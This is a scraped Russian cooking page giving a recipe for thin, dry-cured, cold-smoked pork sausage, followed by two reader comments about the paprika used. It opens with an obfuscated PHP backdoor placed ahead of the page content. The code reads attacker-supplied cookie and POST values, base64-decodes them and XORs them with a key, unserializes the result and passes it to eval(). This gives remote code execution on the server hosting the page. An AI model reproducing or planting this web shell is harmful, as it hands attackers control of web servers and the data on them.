$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Колбаски тонкие длинные хрустящие • Meat Review

На главную
Рецепты
Колбаски тонкие длинные хрустящие

Колбаски тонкие длинные хрустящие

Перейти в режим чтения

мин

0 0

Поделиться
2 785 Просмотры
Нравится 4

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

Инструкция

В результате убийства и переработки иберийской свинки, среди многих сделал тонкую простую колбаску. В Испании она называется Secallona.

Рецепт и процесс приготовления блистал простотой.

Свинина п/ж – 3 кг
Соль – 2%
CUR#2 – 0,25%
Сахар – 0,5%
Черный перец – 0,3%
Пиментон – 0,5%
Чеснок гр. – 0,7%

Мясо перекрутил на решетке 3 мм, сильно не вымешивал. Набил в тонкую свиную череву диаметром около 22 мм. Получилось метров 10 колбасы. Сразу повесил в коптильный шкаф, т.к погода позволяла (+12 + 16), на усадку. Через пару дней в обществе еще 20 кг разных изделий коптил холодным способом 3 дня.

После чего повесил в климатическую камеру. Дней через 30 колбаска достаточно подсохла и превратилась в прекрасную, хрустящую и сочную … колбаску же.
От классических “Охотничьих” колбасок, моя отличается отсутствием варки. Т.е – сырокопченая. Настойчиво рекомендую к производству.

(Visited 2 785 times, 1 visits today)

2 комментария
Stanislav

Stanislav

Салями с пармезаном

Палендвица

2 comments

× You need to log in to enter the discussion

Hello, guest
Logout
Login
Remember Me
Or use one of these social networks
/
Register

Sergey Dezhnyuk •
• 7 лет ago
В каком сочетании сладкого к острому Вы использовали пиментон?
• 0 0 • Reply •
- Stanislav • author •
  • 7 лет ago
  
  Flag comment
  Я использовал красный копченый перец, не острый.
  • 0 0 • Reply •